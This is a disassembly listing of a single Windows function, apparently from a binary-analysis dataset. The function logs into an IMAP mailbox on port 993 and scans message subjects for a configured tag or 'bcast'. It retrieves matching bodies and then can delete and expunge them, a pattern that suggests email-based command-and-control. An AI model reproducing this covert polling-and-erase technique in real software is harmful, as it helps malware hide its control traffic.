Function at 0x14012a0f0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push rbp
push rbx
push r14
push r15
lea rbp, [rsp - 0x228]
sub rsp, 0x328
mov rax, qword [0x1403d0740]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor eax, eax
mov r15, rcx
xor edx, edx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], rax
lea ecx, [rax + 0xc]
call fcn.14012dbc0
xor edx, edx
mov ecx, 0x200002
call fcn.1402b4100
xor edx, edx
xor ecx, ecx
call fcn.1402b4100
mov dword [r15 + 0x24], 5
call fcn.1402b42f0
mov rcx, rax
call fcn.1402afec0
mov qword [rsp + 0x38], rax
mov rbx, rax
test rax, rax
jne 0x14012a174
mov dword [r15 + 0x24], 1
jmp 0x14012a71e
mov rcx, rbx
mov qword [rsp + 0x358], rsi
call fcn.1402b1640
mov rsi, rax
test rax, rax
jne 0x14012a1a1
mov rcx, rbx
mov dword [r15 + 0x24], 1
call fcn.1402afb20
jmp 0x14012a716
mov qword [rsp + 0x360], rdi
lea rdx, [rsp + 0x70]
mov ecx, 0x202
mov qword [rsp + 0x368], r12
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r14d, 1
mov r12d, 2
mov edx, r14d
mov ecx, r12d
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_socket]
mov ecx, 0x3e1
mov word [rsp + 0x60], r12w
mov rdi, rax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [r15]
mov word [rsp + 0x62], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x64], eax
cmp eax, 0xffffffff
jne 0x14012a234
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x14012a21e
mov dword [r15 + 0x24], r14d
jmp 0x14012aa51
mov rdx, qword [rax + 0x18]
lea rcx, [rsp + 0x64]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x14012aa4d
mov edx, edi
mov rcx, rsi
call fcn.1402b2030
mov rcx, rsi
call fcn.1402b07e0
test eax, eax
jle 0x14012aa4d
lea r9, [0x1403adb88]
mov r8, r15
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140129fe0
mov rcx, qword [rsp + 0x30]
test al, al
jne 0x14012a295
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14012aa51
mov qword [rsp + 0x320], r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [r15 + 0x10]
lea r8, str.a1_login
mov r9, qword [r15 + 8]
lea rdx, str._s__s__s_n
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x20], rax
call fcn.14012b990
mov r13, 0xffffffffffffffff
lea rax, [rbp + 0x110]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14012a2e0
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.1402b2260
test eax, eax
jle 0x14012aa40
lea r9, [0x1403adb88]
mov r8, r15
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140129fe0
mov rcx, qword [rsp + 0x30]
test al, al
je 0x14012a391
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea r8, str.a2_SELECT_INBOX
lea rdx, [0x1403adbc0]
lea rcx, [rbp + 0x110]
call fcn.14012b990
lea rax, [rbp + 0x110]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14012a350
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.1402b2260
test eax, eax
jle 0x14012aa40
lea r9, str.completed
mov r8, r15
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140129fe0
mov rcx, qword [rsp + 0x30]
test al, al
jne 0x14012a3b4
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call fcn.1402b2170
mov rcx, rsi
call fcn.1402b0cc0
mov rcx, rbx
call fcn.1402afb20
jmp 0x14012a6fe
lea r8, [rsp + 0x50]
lea rdx, str._s__d
call fcn.1401292d0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movsxd rcx, dword [rsp + 0x50]
mov eax, 0x148
mul rcx
cmovo rax, r13
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movsxd rbx, dword [rsp + 0x50]
xor edx, edx
imul r8, rbx, 0x148
mov rcx, rax
mov qword [rsp + 0x40], rax
mov r12, rax
call sub.VCRUNTIME140.dll_memset
cmp ebx, r14d
jl 0x14012aa06
mov rbx, r12
mov qword [rsp + 0x48], rbx
nop dword [rax]
mov r9d, r14d
lea rdx, str.a_d_FETCH__d_BODY_header__n
mov r8d, r14d
lea rcx, [rbp + 0x110]
call fcn.14012b990
lea rax, [rbp + 0x110]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14012a443
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.1402b2260
test eax, eax
jle 0x14012aa40
lea r9, str.completed
mov dword [rbx], r14d
mov r8, r15
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140129fe0
test al, al
je 0x14012a9fb
mov r12, qword [rsp + 0x30]
lea rdx, str.FETCH
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rcx, r12
test rax, rax
je 0x14012aa33
lea rdx, str.Return_Path:
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14012a52c
lea rdx, str.Return_Path:
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rcx, rax
lea rdx, [0x1403adc1c]
mov rbx, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rdx, [0x1403adc1c]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rdx, [0x1403adc18]
lea rcx, [rax + 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcspn]
lea ebx, [r14 - 1]
mov r9, rax
movsxd rcx, ebx
lea r8, [rdi + 1]
imul rdx, rcx, 0x148
mov rcx, qword [rsp + 0x40]
add rcx, 4
add rcx, rdx
mov edx, 0x40
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
lea rdx, str.Subject:
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14012a5b7
lea rdx, str.Subject:
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rcx, rax
lea rdx, [0x1403adc1c]
mov rdi, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rdx, [0x1403adc1c]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rcx, [rbx + 1]
mov rdi, rax
lea rdx, [0x1403adc18]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcspn]
lea ecx, [r14 - 1]
movsxd rdx, ecx
lea r8, [rdi + 1]
mov rcx, qword [rsp + 0x40]
imul r9, rdx, 0x148
add rcx, 0x44
mov edx, 0x100
add rcx, r9
mov r9, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r12, qword [rsp + 0x40]
lea rcx, [0x1403ad968]
movsxd rax, r14d
dec rax
imul rdi, rax, 0x148
lea rax, [r12 + 4]
add rax, rdi
cmp rax, rcx
je 0x14012a61a
lea rbx, [r12 + 0x44]
add rbx, rdi
cmp rbx, rcx
je 0x14012a61a
mov rdx, qword [r15 + 0x18]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14012a63e
lea rdx, str.bcast
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14012a63e
mov rbx, qword [rsp + 0x48]
inc r14d
add rbx, 0x148
mov qword [rsp + 0x48], rbx
cmp r14d, dword [rsp + 0x50]
jle 0x14012a420
jmp 0x14012aa06
movsxd rdi, dword [rdi + r12]
test edi, edi
jle 0x14012aa06
mov r8d, edi
lea rdx, str.a4_FETCH__d_BODY_1__n
lea rcx, [rbp + 0x110]
call fcn.14012b990
lea rax, [rbp + 0x110]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14012a670
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.1402b2260
test eax, eax
jle 0x14012aa40
lea r9, str.completed
mov r8, r15
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140129fe0
test al, al
je 0x14012a9fb
mov r14, qword [rsp + 0x30]
lea rdx, str.FETCH
mov rcx, r14
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rcx, r14
test rax, rax
jne 0x14012a73b
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call fcn.1402b2170
mov rcx, rsi
call fcn.1402b0cc0
mov rcx, qword [rsp + 0x38]
call fcn.1402afb20
mov dword [r15 + 0x24], 4
mov r13, qword [rsp + 0x320]
mov rdi, qword [rsp + 0x360]
mov r12, qword [rsp + 0x368]
mov rsi, qword [rsp + 0x358]
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.1402f6590
add rsp, 0x328
pop r15
pop r14
pop rbx
pop rbp
ret
lea rdx, [0x1403adc50]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14012aa2e
lea rdx, [0x1403adc54]
mov rcx, r14
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14012aa2e
lea rdx, [0x1403adc50]
mov rcx, r14
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rcx, rax
lea r8, [rsp + 0x58]
lea rdx, str._zd
call fcn.1401292d0
mov rcx, qword [rsp + 0x58]
add rcx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rdx, [0x1403adb88]
mov rcx, r14
mov qword [r15 + 0x28], rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rcx, [rax + 2]
mov rax, r13
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14012a7c0
mov rcx, r14
cmp rax, qword [rsp + 0x58]
jb 0x14012a8b5
lea rdx, [0x1403adb88]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov r8, qword [rsp + 0x58]
mov rcx, qword [r15 + 0x28]
lea rdx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rcx, qword [r15 + 0x28]
mov rax, qword [rsp + 0x58]
imul rbx, rdi, 0x148
mov byte [rcx + rax - 2], 0
mov rcx, r13
add rbx, 0xfffffffffffffebc
add rbx, r12
nop dword [rax]
inc rcx
cmp byte [rbx + rcx], 0
jne 0x14012a820
add rcx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rdx, [0x1403adc60]
mov rcx, rbx
mov qword [r15 + 0x30], rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14012a88d
lea rdx, [0x1403adc64]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14012a88d
lea rdx, [0x1403adc64]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rdx, [0x1403adc68]
mov rcx, rbx
mov byte [rax], 0
mov r8, qword [r15 + 0x30]
call fcn.140129270
jmp 0x14012a8a2
mov rcx, qword [r15 + 0x30]
movzx eax, byte [rbx]
lea rbx, [rbx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14012a891
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov dword [r15 + 0x24], 0
jmp 0x14012a8bb
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp byte [r15 + 0x20], 0
je 0x14012a9a7
mov r9d, edi
lea rdx, str.a_d_STORE__d_FLAGS_Deleted_n
mov r8d, edi
lea rcx, [rbp + 0x110]
call fcn.14012b990
lea rax, [rbp + 0x110]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14012a8f0
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.1402b2260
test eax, eax
jle 0x14012aa40
lea r9, str.completed
mov r8, r15
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140129fe0
mov rcx, qword [rsp + 0x30]
test al, al
je 0x14012aa00
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8d, edi
lea rdx, str.a_d_EXPUNGE_n
lea rcx, [rbp + 0x110]
call fcn.14012b990
lea rax, [rbp + 0x110]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14012a960
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.1402b2260
test eax, eax
jle 0x14012aa40
lea r9, str.completed
mov r8, r15
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140129fe0
mov rcx, qword [rsp + 0x30]
test al, al
je 0x14012aa00
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8d, edi
lea rdx, str.a_d_LOGOUT_n
lea rcx, [rbp + 0x110]
call fcn.14012b990
lea rax, [rbp + 0x110]
inc r13
cmp byte [rax + r13], 0
jne 0x14012a9c4
mov r8d, r13d
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.1402b2260
test eax, eax
jle 0x14012aa40
lea r9, str.completed
mov r8, r15
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140129fe0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call fcn.1402b2170
mov rcx, rsi
call fcn.1402b0cc0
mov rcx, qword [rsp + 0x38]
call fcn.1402afb20
jmp 0x14012a6fe
mov rcx, r14
jmp 0x14012aa00
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x40]
jmp 0x14012aa09
mov dword [r15 + 0x24], 3
jmp 0x14012a6fe
mov dword [r15 + 0x24], r12d
mov rcx, rsi
call fcn.1402b2170
mov rcx, rsi
call fcn.1402b0cc0
mov rcx, rbx
call fcn.1402afb20
jmp 0x14012a706